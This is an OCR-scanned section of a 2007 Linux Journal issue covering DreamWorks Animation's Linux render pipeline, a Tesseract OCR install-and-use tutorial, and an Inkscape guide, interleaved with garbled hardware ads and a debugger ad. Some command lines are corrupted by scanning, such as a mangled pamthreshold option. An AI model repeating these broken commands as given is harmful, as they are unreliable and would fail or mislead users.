at the PDI DreamWorks facility in northern California and com¬ mutes to Glendale each week to ensure that his cross-site team is in sync. He also uses VSC, an immersive video teleconfer¬ encing system developed by DreamWorks Animation that HP has since taken to market as the Halo room. HAVEN is the DS3 45mbs Halo video exchange network, used extensively to connect between DreamWorks facilities and with HP's desktop division and with AMD. "The issues with maintaining a large Linux-based pipeline are the same as maintaining a large pipeline on any oper¬ ating system", says Grant. "We unified the studio on one standard pipeline a while ago, and now we have all produc¬ tions at all times using the same pipeline. They stress, push and develop the pipeline in different ways on each production. Linux provides us with many advantages. Solid support for threading, NFS and LAMP toolsets are big pluses for us. Managing developers gets easier each year as the quality of the development tools and IDEs available on Linux improves." www.linuxjournal.com ju ly 2007 | 41 FEATURE Shrek the Third Figure 5. Animation: at this stage, the animators create the character’s performance for the scene. Figure 6. Lighting: Final Version of the Scene with Lighting and Textures Added to the Frame "At the desktop, we use HP xw9300 workstations running RHEL 4", says head of Digital Operations Derek Chan. "The render- farm uses HP DL145 G2 servers. Our stan¬ dard for memory is to have 2GB per core. Servers have four cores, so that's 8GB." Chan says DreamWorks Animation has a good relationship with Red Hat, working closely to ensure that HP workstations work with Red Hat Linux for DreamWorks. "A challenge we overcame on Shrek 3 was the integration of metadata into our pipeline", says Grant. "In a cross-team effort between R&D and Production Technology, we put in place a system that maintains historical version information, render statistics and other really valuable data in each and every file we produce. That we were able to do this shows one of the key advantages of having a proprietary toolset and file formats." DreamWorks uses its own TIFF-like file format based on 16-bit binary fixed point, a limited High Dynamic Range (HDR) image format with a color range of 0 to 2.0. Letting images go whiter than white leaves headroom for image adjustments. DreamWorks Animation technology is organized into three core groups: R&D to create new technology, Production Technology that oversees the production pipeline and Digital Operations that's respon¬ sible for the compute, network and storage infrastructure. The production pipeline has hundreds of small tools and applets that form the other glueware, which enables 200 people to work as an orchestrated team. Most legacy pipeline code is written in Perl, and most of the newer code is being written in Python. "We'd love to be all Python", says Leonard, "but today we still have lots of Perl". "Our team has been spearheading the transition from Perl to Python at the facility", says Grant. "There are three primary reasons for this. The creation of Python bindings to a C++ library is very easy and allows us to utilize core R&D libraries in the rest of the pipeline more quickly. The object- oriented nature of Python is very attractive given our new asset model and should allow us to make changes to that asset model much more easily in the future. And, Python is a first-class citizen in many of the third-party software applications that are used in our industry." At the Linux Movies Conference, an all¬ day conference for motion picture technol¬ ogists, last held in 2005 [that I chaired], the consensus of studio technologists was that the constraint on renderfarm size was heat. "The wall is still heat and power", says Chan, "and a little bit of floor space". DreamWorks Animation is into dual-core and about to go quad-core. "In the next eight months, we'll switch to eight com¬ puting cores per desktop", says Chan. The studio is interested in accelerated comput¬ ing with GP-GPU. That has the potential to move render processes from overnight to interactive. But, there are daunting techni¬ cal barriers in that GPU programming is so alien, and there are bandwidth limitations going between CPUs and GPUs on graph¬ ics cards. "There are significant perfor¬ mance gains to be had", says Chan, "especially if we could keep it all on die with an AMD-integrated GPU". Shrek 3 consumes 24TB of storage, out of an allocation of 30TB. DreamWorks likes to keep all its movies in near-line storage on big arrays of spinning disks. "People refer to previous movies all the time", says Chan. "We have the three Shrek movies. Madagascar is getting a sequel." Although everything is pretty much kept on-line, DreamWorks archives to tape sent off-site for disaster recovery. Why Not More Open-Source Software from the Film Industry? Why don't the movie studios contribute some of their millions of lines of Linux code to open source? Many studios have devel¬ oped proprietary Linux video playback and editing software, an area where open source is deficient. Could they give that to open source? Today's treacherous patent landscape is one obstacle, but beyond that is the cost to maintain it. For example, ILM found it more work to open the OpenEXR image 42 | july 2007 www.linuxjournal.com of our films in native stereoscopic 3-D", says Leonard. "Our films will be created, from the start, with 3-D stereo in mind. The result will be a whole new level of experience in theaters." Monsters vs. Aliens (tentative title) and How to Train Your Dragon will be the first 3-D films from the new 3-D pipeline. Since Shrek 3, the studio has built a new system for creating all storyboards digitally from inception in 3-D. DreamWorks Animation has more Linux geeks on tap than most Linux companies or open-source projects do. If you're interested in working on Linux in the motion picture industry, DreamWorks is advertising job openings for Linux technologists, including Systems Architect, Senior Systems Administrator, Senior Systems Developer, Systems Engineer, Animation Tools Software Engineer, Core Libraries Software Engineer and Software Engineer Managers Figure 7. The Huge Server Farm at DreamWorks Animation _ format than expected. The studios are busy making movies. The film industry does sometimes spon¬ sor outside open-source efforts, such as deep paint support for GIMP in 1999. Unfortunately, 16-bit per channel paint was never released as part of GIMP. It did later see the light of day as CinePaint [an OSS project I lead]. But rather than use CinePaint and have to retrain Photoshop users, DreamWorks Animation, Disney and Pixar provided some funding to CodeWeavers to make Windows Photoshop work on Linux under Wine in 2003. The film industry may not like open source that cuts too close to its domain. The open-source renderer BMRT, developed by former employees of Pixar, was discontinued as part of an infringement settlement in 2002 between Pixar and NVIDIA (which had acquired a more sophisticated version of the BMRT render technology from the company Exluna to support Cg GPU rendering). Where Is DreamWorks Animation Taking Linux Next? "CG filmmaking is one of the few places where there's a tight bond between technol¬ ogy and the art of filmmaking", says Leonard. "Technology is enabling artist vision like no other time in the history of our business. We continue to invest heavily into rendering techniques such as global illumination to make lighting better and easier. The original Shrek movie did not use any global illumination. Shrek 2 used it in a Total Linux Support & ^ i Trustix 5 u 5 e very limited way, and Shrek 3 uses it broadly across the film. The result is better lighting to enable better storytelling." "Beginning in 2009, we'll be releasing all Robin Rowe is an executive producer at the Comic Strip Network. He’s the founder of LinuxMovies.org and the project manager for CinePaint.org. On weekends, he hosts events in Hollywood for ScreenplayLab. a group of 1,400 screenwriters, actors and filmmakers. He’s a former studio technologist for DreamWorks Animation. S TA RTING AT 1 GB DDR400 RAM - 1 6flGB SATA2 H0D INTEL BOARDS & CPUS ff 1 1 0OMBPS DEDICATED CISCO PORT i iQnnfinTucnnnuDirnMr'i men iuuuui/ iiinvwMiii vi Mivi-vuLu v.\ .CARI.NET/LJ m m a a *k * i* a a ** m J m x jt jt r m a m & mm m OOO. il 1.071/4 www.linuxjournal.com ju ly 2007 | 43 Tesseract an Open-Source Optical Character Recognition Engine Tesseract is a quirky command-line tool that does an outstanding job. ANTHONY KAY I play with open-source OCR (bptical Character Recognition) packages periodically. My last foray was a few years ago when I bought a tablet PC and wanted to scan in some of my course books so I could carry just one thing to school. I tried every package I could find, and none of them worked well enough even to consider using. I ended up using the commercial version of Adobe Acrobat, which allows you to use the scanned page as the visual (preserving things like equations in math books), but it applies OCR to the text so you can search. It ended up being quite handy, and I was a little sad that I was incapable of getting any kind of result with open-source offerings. Admittedly, the problem is very hard. Font variations, image noise and alignment problems make it extremely difficult to design an algo¬ rithm that can translate the image of text into actual text reliably. Recently, I was looking again and found a project called Tesseract. Tesseract is the product of HP research efforts that occurred in the late 1980s and early 1990s. HP and UNLV placed it on SourceForge in 2005, and it is in the process of migrating to Google Code (see Resources). It currently is lacking features, such as layout recognition and multicolumn support; however, the most difficult part, the actual character recognition, is superb. 44 july 2007 www.linuxjournal.com How to Install Version 1.03 was the latest version at the time of this writing, and the build and install process still needed a little work. Also, integration with libtiff (which would allow you to use compressed TIFF as input) was configured by default, but it was not working properly. You might try configuring it with libtiff, as that would allow compressed TIFF image input: # ./configure If you later find that it doesn't recognize text, reconfigure it with¬ out libtiff: # ./configure --without-libtiff The build is done as expected: V 1 Preview f ' 7 'Help 1 f £3 Reset J ( (x) Cancel ) [ V OK 1 # make Configure for version 1.03 also indicated that make install was broken. I managed to figure out the basics of installation by trial and error. First, copy the executable from ccmain/tesseract to a directory on your path (for example, /usr/local/bin): # cp ccmain/tesseract /usr/local/bin Then, copy the tessdata directory and all of its contents to the same place as the executable (for example, /usr/local/bin/tessdata/...): # cp -r tessdata /usr/local/bin/tessdata Finally, make sure your shell PATH includes the former (/usr/local/bin). How to Use First, you need access to a scanner or scanned pages. Sane is available with most Linux distributions and has a nice GUI interface called xsane. (I discuss more on scanning near the end of this article.) Tesseract has no layout analysis, so it cannot detect multicolumn formats or figures. Also, the broken libtiff support means it can read only uncompressed TIFF. This means you must do a little work on your scanned document to get the best results. Fortunately, the steps are very simple; the most common ones can be automated, and the results are well worth it. This is what you need to do: 1. Use a threshold function to drop lighting variations and convert the image to black and white. 2. Erase any figures or graphics (optional, but if you skip this step the recognizer will give a bunch of garbled text in those areas). 3. Break any multicolumn text into smaller, single-column images. Figure 1. Threshold dialog in The GIMP. Slide the triangle left and right to choose what pixels should be white and what pixels should be black. I recommend using a graphics program, such as The GIMP, to get a feel for what needs to be done. The most important step is the first one, as it drastically will improve the accuracy of the OCR. The GIMP has a great function that easily can remove lighting variations in all but the worst cases. First, go to the Image^Mode menu and make sure the image is in RGB or Grayscale mode. Thresholding will not work on indexed images. Next, select the menu Tools^Color Tools^Threshold. This tool allows you to drop pixels that are lighter than a specified cutoff value, and it converts all others to black. A pop-up (Figure 1) lets you select the threshold. Make sure image preview is turned on in order to get an idea of how it affects the image. Slide the threshold thumb left and right to choose the cutoff between white and black. You may not be able to get rid of all of the uneven lighting without corrupting the text. Find a good-looking result for the text, then erase the rest of the noise with a paint tool. The transition from the first part to the second part in Figure 2 shows a typical result of this step. You should experiment and zoom in over a portion of the image while you play with thresholding, so you can see things closer to the pixel level. This lets you see more of what Tesseract will see and gives you a better feeling for how to get the best results. If you can't recog¬ nize the characters, Tesseract surely won't. This page had handwritten notes, underlining and a section of Figure 2. Zoomed view of image preparation, from left to right: the original scanned image, the image after applying threshold, and the image after applying threshold and some manual cleanup. www.linuxjournal.com ju ly 2007 | 45 FEATURE Tesseract lighting that threshold could not get rid of without compromising the rest of the image. Use a brush to paint over any easy-to-fix areas. I would not recommend spending much time on cases where the extra¬ neous information (figure, noise and so on) has some distance from the text; Tesseract might insert a few garbled characters, but those are usually quicker to fix in a text editor. The resulting image should look something like the third part of Figure 2. Now, switch the image to indexed mode (using the menu selection Image^Mode^Indexed), and choose black and white (one-bit palette). Also, make sure dithering is off. Save the image as an uncompressed TIFF image, and you are ready to do recognition. The recognition part is easy: $ tesseract image.tif result The third argument is the base name of the output file. Tesseract adds a txt extension automatically, so in this example, the recognized text would be in result.txt. The underlining in this example ended up significantly affecting the OCR. A few of the lines were recognized moderately well, but two of them were completely unintelligible after processing. This under¬ scores the importance of using a clean source if possible. Manually removing the underlining drastically improved recognition, but it took more time than simply entering the text manually. How Well Does Tesseract Work? I certainly wanted to do some experiments that would give me an idea of the power of Tesseract. I also wanted to compare those results to another open-source OCR system: ocrad. I started off by running some tests to see how well Tesseract would do. My initial test took a 200dpi screen capture of text that included bold and italic fonts. Obviously, the screen capture was com¬ pletely free from any kind of noise or error introduced by a physical scanner. Tesseract performed flawlessly, recog¬ nizing 100% of the characters. It even got the spacing right. Unfortunately, ocrad did not fare as well. It missed several spaces (causing words to join erro¬ neously), and it missed several letters. The overall recognition rate for ocrad on a perfect input was 95%. Next, I decided to try some torture tests to see how well Tesseract would do under more adverse conditions. I have used Adobe Acrobat to do OCR on scanned documents, and it requires 150 DPI. It manages to fix things like varying lighting (as we did in GIMP earlier) and linear distortion (for example, due to book bindings pulling the edge of the paper away from the scanner). It also handled skewed pages where the page was not aligned well on the scanner bed. So, I found a 72dpi scanned image that contained most of these glitches. Note that 72dpi is half the resolution that Acrobat will even try. The left margin was dark gray and bled into the letters, and the left edges of the lines were bent. The original image was not skewed. I tried the unaltered image and the results were poor. I then used GIMP thresholding to remove the lighting variance and saved it as described above. I did nothing to correct the bent lines, nor did I increase the dpi in any way. To my surprise, Tesseract managed a 97% recognition rate! Many Table 1. Tesseract vs. ocrad Results Test conditions ocrad Tesseract 200dpi, very clean, includes italics/bold 95% 100% 72dpi, black and white, clean 0% 97% 72dpi with minor linear distortion 0% 97% 72dpi, minor linear distortion, 0% 96% and skewed 2 degrees of the errors were mistaking e as c (which were difficult for me to dis¬ tinguish in the original image), and many of the errors were around the areas where the worst linear distortion occurred. Next, I used The GIMP to rotate the image as far as I could with¬ out clipping the text. This corresponds to someone slapping pages on a scanner with little regard for alignment. Surprisingly, Tesseract still managed a 96% recognition rate. In fact, the rotation inadvertently helped with the linear distortion, and the recognition errors were less clustered than before. Now I was curious as to how ocrad would fare. It did not fare well. In fact, it failed miserably, ocrad did more poorly on the best quality input than Tesseract did on the worst. The results and comparison are shown in Table 1. Getting the Best Results The tests above indicate that the recom¬ mended inputs I have seen for Acrobat are quite sane. I recommend scanning your documents at 150dpi or higher. You also might try putting your scanner in black- and-white mode; the threshold routines in your scanner actually may give better results than the manual thresholding described in this article. Perfect alignment does not seem to affect recognition rates drastically, but distortion due to book bindings did seem to cause some minor problems. Many professional scanning companies remove the pages from the binding if possible. Automating the Process The GIMP gives you very fine control over image editing, but if you have a consistent scanning environment and a lot of pages, you really will want to automate the image cleanup as much as possible. I recommend using Netpbm for this purpose, preferably version 10.34 or later, as those versions come with a more powerful threshold filter. Unfortunately, this is not considered a super-stable version, so many systems will have an older version. If you are using an older version, you might get acceptable results with a pipeline of commands like this: $ tifftopnm < scanned_image.tif | \ pamditherbw -threshold -value 0.8 | \ pamtopnm | pnmtotiff > result.tif Font variations, image noise and alignment problems make it extremely difficult to design an algorithm that can translate the image of text into actual text reliably. 46 | july 2007 www.linuxjournal.com This chain of four commands reduces the color palette to black and white and saves the result as an uncompressed TIFF image. The number passed to the -value parameter of pamditherbw defaults to 0.5, and can range from 0 to 1, and it corresponds to the slider used earlier in The GIMP. In this case, higher numbers make the image darker. Netpbm 10.34 and higher includes a more-advanced threshold utility, pamthreshold, which can do a better job on images where the lighting varies over the page. In this case, the command chain would be: $ tifftopnm < scanned_image.tif | \ pamthreshold -local=20x20 | \ pamtopnm | pnmtotiff > result.tif There are several alternatives for options of pamthreshold. The -local option allows you to specify a rectangular area that is used around each pixel to determine local lighting conditions in an attempt to adapt to changing lighting conditions in the image. You also may want to try: $ tifftopnm < scanned_image.tif | \ pamthreshold - threshold^©.8 | pamtopnm | pnmtotiff > result.tif to get results similar to the older dither utility. See the Netpbm docu¬ mentation for more details. If your input images are in a format other than TIFF, you can, of course, substitute the appropriate Netpbm tool (such as jpegtopnm) in the pipeline: $ jpegtopnm < scanned_image.jpg | \ pamthreshold - threshold^©.8 | pamtopnm | pnmtotiff > result.tif Netpbm also includes utilities that allow you to clip out portions of an image. Note that most multicolumn formats are very consistent in positioning the columns, which means you can automate the transla¬ tion of multicolumn text pretty easily as well. For example, if you have a two-column article scanned at 200dpi, you can use The GIMP to locate the x coordinates of the column boundaries. Say the first column starts at about 200 and ends at 700, and the second column starts at 800 and ends at 1200. You could add the following to your processing pipeline: Resources Tesseract: code.google.com/p/tesseract-ocr The GIMP: www.gimp.org Sane: www.sane-project.org Netpbm: netpbm.sourceforge.net Netpbm Docs: netpbm.sourceforge.net/doc/directory.html $ tifftopnm < input.tif | \ pamcut -left 150 -right 750 | ... pnmtotiff > output_left.tif $ tifftopnm < input.tif | \ pamcut -left 750 -right 1250 | ... pnmtotiff > output_right.tif and automate the extraction of the columns. Place the combination in a shell script with some looping, and you can process a lot of pages very quickly. Summary Tesseract is a bare-bones OCR engine. The build process is a little quirky, and the engine needs some additional features (such as layout detection), but the core feature, text recognition, is drastically better than anything else I've tried from the Open Source community. It is reasonably easy to get excellent recognition rates using nothing more than a scanner and some image tools, such as The GIMP and Netpbm. The Tesseract team currently is working to integrate features such as layout analysis and a GUI interface. It looks as if a commercial- quality open-source OCR solution is finally on the horizon.■ Anthony Kay has been a systems programmer, programming instructor, technical writer and application developer. He is currently a computer science graduate student at the University of Oregon in Eugene. Oregon. . * *86 200MHz CPU • 128MB SDRAM On Board • 512 MB CompactFlash™ • J 0/105 Base-T Ethernet * Reliable (No CPU Fan or Disk Drive) • Two RS-232 & Two USB 1J Ports * Optional Wireless LAN &, Hard Drive * Op lion a I On Board Audio * Dimensions: 4.5 s 4.5 x 1J75" (115 x 115 x 35mm) 2.6 KERNEL Compact SIB (Server-1 n - u- B n x) Starting at SI70,00 Quantity L. * FMAC Linux l.b Kernel * Menu Drive Configuration Utility * Eclipse Development Environment * HTTP and FTP Servers * PFPDial In/Onl Server & Client * Telnet Server Since I9S5 Ov tu 22 \ E ARS: OF S1NCI.F TtOVHT) SOU TIOVi 1 Phone: (618)529-4525 * Fax:(618)457-0110 » www, emacific.com www.linuxjournal.com ju ly 2007 | 47 Sector Inkscape's vector graphics open a whole neW world for creating art. Marco Fioretti %9S! SVG (Scalable Vector Graphics) is an open W3C standard for describing two-dimensional graphics in a different way than traditional computer images, which are all bitmaps of some kind. A bitmap or raster graphic is, ignoring compression and other optimization techniques, simply one long list of all the pixels constituting an image, each one described in as much detail as possible—exact color, transparency and so on. Instead, a vector graphics file contains a series of pseudo-mathemat¬ ical instructions—such as draw a straight line from this to that coordi¬ nate, create a rectangle of this size, rotate it 47 degrees clockwise or fill it with red. The grandfather of vectorial formats is PostScript. The first and main benefit of this alternative method is being com¬ pletely separate from the capabilities of the physical display, be it a computer monitor or a piece of paper. More exactly, although it is still (obviously) impossible to see an ultra-crisp image on a low-resolution monitor or printer, a vector graphic has no intrinsic resolution nor limits to it. Vector graphics can be zoomed, shrunk or rotated as much as you wish or as many times as you wish without any degradation, even when printed. For an example, take a look at Figure 1, which shows two zoomed versions of the same drawing side by side, a raster drawing and a vector drawing. The vector one, on the left, is much crisper than the other, isn't it? Another big plus of vector image files is that, because they are sequences of instructions, the size of the image does not affect that of the file, saving both disk space and download time on slow connections. Last but not least, creating or processing "a series of commands" is a task that can be delegated to a computer program easily and effi¬ ciently. SVG files can be mass-generated or modified in almost any way without human intervention. The SVG 1.1 specification also Figure 1. A clean vector image (left) compared to a raster image (right) pixi¬ lated when expanded. describes 16 filter primitives that make it possible to obtain very com¬ plex objects as well as highly realistic effects. The main reason the world hasn't gone all vectorial yet is that bitmaps remain much better at reproducing the subtle differences in color and contrast that are present in photographs. Vector graphics, however beautiful, are "synthesized", and it often shows. In spite of this, they remain extremely useful and are becoming more and more common among GNU/Linux desktops. 48 | july 2007 www.linuxjournal.com Go Vectorial with Inkscape! The most basic GUI-based vector graphics tools for Linux is Figurine, which uses the same file format as the venerable Xfig, and Dia. A much more promising application is Karbon 14, the vector graphic component of KOffice. These days, however, the easiest way to get started with vector graphics on Linux is Inkscape, because of its larger on-line documentation (see Resources) and a wider, more active user and developer community. So, let's see how to start producing vector graphics with Inkscape. The Interface The Inkscape main window, shown in Figure 2, is pretty crowded. Right below the main menu is a row of shortcuts to the most com¬ monly used commands, followed by a drawing-tool-dependant control bar. If you need to cooperate with other users, sharing not only text but graphic information, fire up the Pedro Xmpp client available (if your distribution included it and all its dependencies) under the Whiteboard menu. Two handy buttons with a wrench icon on the top-right corner give fast access to global Inkscape preferences and to those of the current document. The drawing tools are mapped to buttons on the right side—that's where you go to create rectangles, spirals, polygons, circles, stars and lines of any possible shape. All these objects have separate panes and control bars where you can set anything from the number of turns in a spiral to the points in a star. Finally, a bottom bar displays a color palette and some status information. Starting a New Project The first thing to do after you click on File^New is decide the geo¬ metric format of your drawing. There are several choices—from several DVD covers to desktop wallpapers—at all the standard computer and HDTV resolutions plus desktop icons, business cards and more. To add objects to a drawing, you either can use the shape-related tools on the left or draw from scratch with the pencil, pen and callig¬ raphy tools. Tools in the second group all draw paths defined by nodes. Existing paths can be modified with the node tool, which is the button right below the one with the arrow. After activating that tool, nodes are shown as small diamonds and can be deleted or moved around. To select all and only the nodes you want as quickly as possible, use the mouse wheel. Scrolling it up selects nodes start¬ ing with those nearest to the cursor; scrolling down deselects them. You also can smooth whole paths (Path^Simplify) as well as join or break them. The tool for writing or anything else that must be drawn by hand with a mouse or a graphic tablet is the calligraphy pen, which is associated with the nib icon. There are several options for changing the appearance of the pen strokes and their general behavior in order to achieve a more realistic or personal look. Figure 2 shows the number three drawn with tremor values of 0 (on the left) and 1.00 (on the right). Once you have created or imported an object, you can modify its appearance in many ways, thanks to the Inkscape filters, which can do things as different as fractalization, saturation adjustment and Gaussian blur. The latter is used to adjust a blur setting for an object. Object Unions Paths and objects can be combined very quickly with boolean opera- Figure 3. Intersection of a Vector Oval and a Vector Star Figure 2. Tremor Values Applied to a Clean Vector Image of the Number Three Figure 4. The Same Intersection with a Different Boolean Operation www.linuxjournal.com ju ly 2007 | 49 FEATURE Vector Graphics and Inkscape tions, such as intersection, union, difference, exclusion and others. Simply select the objects to combine and choose the desired operation from the Path menu. Figures 3 and 4 show what you get when you intersect an oval and a star. Gradients Solid colors can be dull, don't you agree? The fact that vector draw¬ ings are generated through computer instructions doesn't mean that their components must all be in solid colors. To create smooth color transitions (that is, gradients) from one side of an object to another, select it and open the Fill and Stroke dialog from the Object menu. That window allows you to apply several gradient types and place the corresponding stops—the exact start and end points between which the color transition must take place. Gradients can be applied to any object, including text. Clone Everything Inkscape has buttons or menu entries to copy, paste and duplicate objects. Sometimes, however, what you want is a clone. Inkscape clones are special copies of an object that can be moved around, scaled or rotated at will but remain linked to it. By this we mean that any change to the original is applied to all its clones automatically. If you press Shift-Alt-D, a clone is detached from its ancestor and becomes a fully independent object. Clones can be tiled (Edit-*Tile) to create patterns with many kinds of symmetrical or pseudo-random layouts. Reflection, rotation, radial placement and row and column shifting are only a few of the available choices, as shown in Figure 5. The History Tool One great thing in Inkscape is its Undo History. Not only can you undo all the changes you have made to a file, but they also are displayed in a nested mode, as shown in Figure 6, which makes it much quicker to go back right to the point you wanted. Figure 5. Fill and Stroke Applied to the Object on the Bottom of the Image Import and Export Capabilities Inkscape can convert drawings or parts of drawings to PNG bitmaps. Select File^Export as Bitmap, and remember to choose the right resolution; the default is 90dpi. Besides its native SVG file format, Inkscape also can save your masterpieces in several special formats, including PovRay, LaTeX, encapsulated PostScript, Adobe Illustrator 8, AutoCAD Dxf and OpenDocument drawings. On the opposite side—importing already-existing graphics—a really neat feature of Inkscape is the capability to generate drawings from LaTeX formulas. Most people, however, will find it much more useful to "trace" JPEG, PNG or GIF images—that is, to convert them to vec¬ torial format. Some advanced Inkscape users even trace the bitmaps that they generated from original vector drawings. The reason for doing this is that the unavoidable degradation may be exactly what is missing to make your work look more realistic. Normally, if the starting bitmap is simple, the traced version is pretty good. Tracing something as complex as a photograph is theoretically possible, but in practice, the process is often so complex that it greatly slows down Inkscape or simply halts it, depending on the computer. This said, there are many different ways to trace bitmaps with Inkscape. To try them, import a bitmap, select it and then click on Path^Trace Bitmap. In the tracing pane, you'll then be able to gener¬ ate one or more vectorial paths, starting, for example, from the colors or the levels of brightness of the original image. Working with Text and Fonts The big button with the capital A lets you create text objects. So far, this is nothing special. What is great though is the possibility to make text follow any line (Figure 7). Select both the text and the line while pressing the Shift key, then select Text^Put on Path in the top menu. As far as fonts are concerned, Inkscape can use any font available Figure 6. Comprehensive undo lets you get back to the exact operation you have in mind. 50 | july 2007 www.linuxjournal.com ifceeap® n x [i# £nii L»Y*' QojBir Qnm rtogli ■Jplp E*i T d^> Q& 't“> J 4 IS Q@lQ KjU 7 TE 3 & Figure 7. Make the text contour conform to an existing line. on your computer. Therefore, if you aren't careful, your SVG file will not be portable. The real solution would be to use only fonts that are available on all platforms for all the files you need to distribute. When this isn't possible, such as when the text is a company slogan that can be only in the corporate-approved font, you can convert it Figure 8. The XML Representation of a Graphic to a vectorial path (Path^Object to Path). Note that this increases the file size and above all is a one-way process. The obvious workaround is always to keep a master copy with the actual text and distribute only the one with the path. Multilanguage Graphics Sentences take different amounts of space in a graphic depending on the language in which they are written. We already mentioned that a big advantage of SVG is that it can be generated or processed auto¬ matically. Combining these two facts, it is easy to see that you can [0] mqdump Comm_size 1 Comm rank 0 Pending sends: none Pending recieves: none Unexpected messages: none www.pgroup.com/cdk The Portland Group, Inc. is an STMicroelectronics company. PGI and CDK are trademarks or registered trademarks of STMicroelectronics. Other brands and names are the property of their respective owners. | Ucdal size 12 _rank 0 Pending sends: none Pending recieves: none Unexpected messages: none ssm Pending sends: Pending recieves: Unexpected messages: _rank Pending sends: Pending recieves: Unexpected messages: flMi tfn.i. * Opr,*™ Irnflj^t.lo.qmlE.r IF ( mpi_inited ) THEN CALL wrf_error_fatal3 ( "module_io_quilt.b" , ENDIF 1256 , "frame/module_io_quilt.F: CALL mpi_init ( ierr ) CALL wrf_set_dm_communicator (MPI_C0MM_W0RLD ) CALL wrf_termio dup CALL MPI_Comm_rank ( MPI_C0MM_W0RLD, mytask, ierr) ; CALL MPI_Comm_Size ( MPI_C0MM_W0RLD, ntasks, ierr ) ; IF ( mytask ,EQ. 0 ) THEN OPEN ( unit=27, file="namelist.input", form="formatted", status= nio_groups =1 nio_tasksj?er_group =0 READ ( 27 , namelist_quilt ) CLOSE ( 27 ) ENDIF [*Q Tift#: nw in filffMirlttl LSlL UMrtrl fiUtoSU i^rr/vil fVj.Hr fc'ic . 1 *!■<■«■ * Proctu Grid Summary PGI CDK MPI Debugger/MPI Profiler “ PGOfflG - The Portland Croup F.r> CairmiWKi Prcrrijji pgdbg [all] 0> [0] Breakpoint at 0x619A81. function init_module_wrf_quilt, file module_io_quilt.f, line 1179 #1179: IF ( mytask ,EQ. 0 ) THEN pgdbg [all] 0> [0] Stopped at 0x619A8B, function init_module_wrf_quilt, file module_io_quilt.f, line 1180 #1180: OPEN ( unit=27, file="namelist.input", form="formatted", status="old" ) pgdbg [all] 0> [0] Stopped at 0x619B5A, function init_module_wrf_quilt, file module_io_quilt.f, line 1181 #1161: nio_groups = 1 FEATURE Vector Graphics and Inkscape generate and maintain, with minimum effort, many versions of the same banner, diagram or any other graphic that includes text, each in a different language. The only thing to keep in mind is always to leave enough space around that text to make sure that it fits no matter what the language is. After that, follow the procedure described on the "Creating International Graphics" Web page (see Resources). It's Just XML after All The SVG standard is another application of extensible Markup Language (XML). If you view a file created with Inkscape at the com¬ mand line or in any text editor, instead of incomprehensible binary sequences, you'll find something like this: bracket buttons or press Shift-Ctrl-X to launch the Inkscape XML editor. Figure 8 shows how the XML tree of the "Linux is a Shining Star" business card looks in this editor. Path # 3456 is the oval/star shape combo from Figure 7. With this editor, it is possible to change almost any¬ thing in the current file, including SVG features for which there are still no graphical tools. Another reason to use the editor is that every change you make in it immediately applies to the actual graphic in the main Inkscape window. Speaking of structured documents, selecting File^Document Metadata in Inkscape opens a pane where you can set the Dublin core entities or the license of the current file. Never Forget the Command Line Although Inkscape obviously is intended primarily as a GUI application, it can be used for doing SVG processing on the command line as well. Here are some examples straight from the man page: ■ inkscape filename.svg -p ’| Ipr’ —Print an SVG file. ■ inkscape filename.svg --export-png=filename.png— Export an SVG file into PNG. ■ inkscape filename.svg --export-eps = filename.eps --export-text-to-path — Convert an SVG document to EPS, converting all texts to paths. ■ inkscape --query-id=zoom_in -X /usr/share/inkscape/ icons/icons. svg — Find the x position of the zoom-in icon in the default icon file on a Linux system. ■ inkscape filename.svg --query-width --query-id textl555 — Query the width of the object with id="text1555". What's Next? The screenshots and the text of this article refer to Inkscape 0.45 on SUSE 10.1. The official Inkscape road map tells us that the most inter¬ esting things in the near future should be PDF import/export and Visio support in version 0.47, followed by the authoring of simple anima¬ tions in Inkscape 0.48. Version 0.50 should include SVG Mobile sup¬ port. The plan also includes switching parts of the display engine to Cairo, up to the point where Inkscape can use the hardware-accelerated back end of that library. As you can see, there are a lot of reasons to try Inkscape today and keep an eye on it in the coming months. ■ Marco Fioretti is a hardware systems engineer interested in free software both as an EDA platform and. as the current leader of the RULE Project as an efficient desktop. Marco lives with his family in Rome. Italy. Resources Creating High-End 2-D Graphics Using XML: luxor-xul.sourceforge.net/talk/jug-nov-2002/slides.html Cairo: cairographics.org Librsvg: librsvg.sourceforge.net Figurine: figurine.sourceforge.net Dia: www.gnome.org/projects/dia Karbon: www.koffice.org/karbon Inkscape: www.inkscape.org Inkscape Source Code Architecture: inkscape.org/doc/architecture.png Inkscape Wiki: wiki.inkscape.org/wiki/index.php/lnkscape Inkscape User Documentation: inkscape.org/doc/index.php Inkscape User Manual: www.angelfire.com/mi/kevincharles/inkscape/index.html A Guide to Inkscape: tavmjong.free.fr/INKSCAPE/MANUAL/html/index.php Inkscape Roadmap: wiki.inkscape.org/wiki/index.php/Roadmap How to Use Inkscape's New Blur Filter: www.redhatmagazine.com/2007/02/27/ the-open-palettehow-to-use-inkscapes-new-blur-filter Creating International Graphics: andy.brisgeek.com/archives/45 Outlining Fonts: ruphus.com/blog/2006/05/19/ five-steps-of-inscape-outlining-fonts Inkscape Text Tricks: www.ffnn.nl/pages/articles/media/inkscape-text-tricks.php Vector Clip-Art Collection: www.clipartlab.com 52 | july 2007 www.linuxjournal.com RouterBOARD™ 100 Series made by routerboard.com RouterBOARD 133 Low cost AP/CPE $89 RouterOS L4 Firewall/Routing MIPS32 4Kc 175MHz embedded 32MB SDRAM 64MB onboard HAND storage Three 10/100 ethernet ports MD1/X Three miniPCI Type IIIA/IIIB slots Power: 9-28V DC; Overvoltage protection PoE: 12-28V DC (no power over datalines) 117mm x 105mm (4.61 in x 4.13 in), 115g RouterBOARD 1330 Low cost CPE $59 RouterOS L3 Firewall/Routing MIPS32 4Kc 175MHz embedded 16MB SDRAM 64MB onboard NAND storage One 10/100 ethernet ports MDI/X One miniPCI Type IIIA/IIIB slots Power: 9-28V DC; Overvoltage protection PoE: 12-28V DC (no power over datalines) 117mm x 105mm (4.61 in x 4.13 in), 79g »lwPlPP , m . ‘i 11 11 EM 1 i fj =S:,,© jccr/cfl gsvoaM^ H r. ;i 3 | ; ajf ;ivs 5 v || B too j * moq 1 -J r 5S'T r V- h» 1 1 i railifiHuiVin iiimfiii l ilmin i mi i mu l-Lfi; ill .Hjji]i m i rinjnii njlii fiiji rjiii j run run rri^Jj fpS ii- «l ^ mc iMfU 1 -- r nirMiiTuniHiiimmtJ . * 1 i j I. LJ: Can yon compare Pixel and The GIMP for us? PK: Sure. Compared to Pixel, GIMP is missing a lot of important fea¬ tures, such as CMYK support, color management, layer adjustments, layer effects and so on. Also, a lot of people complain about GIMP's user interface. Such an approach is very common on Mac OS X 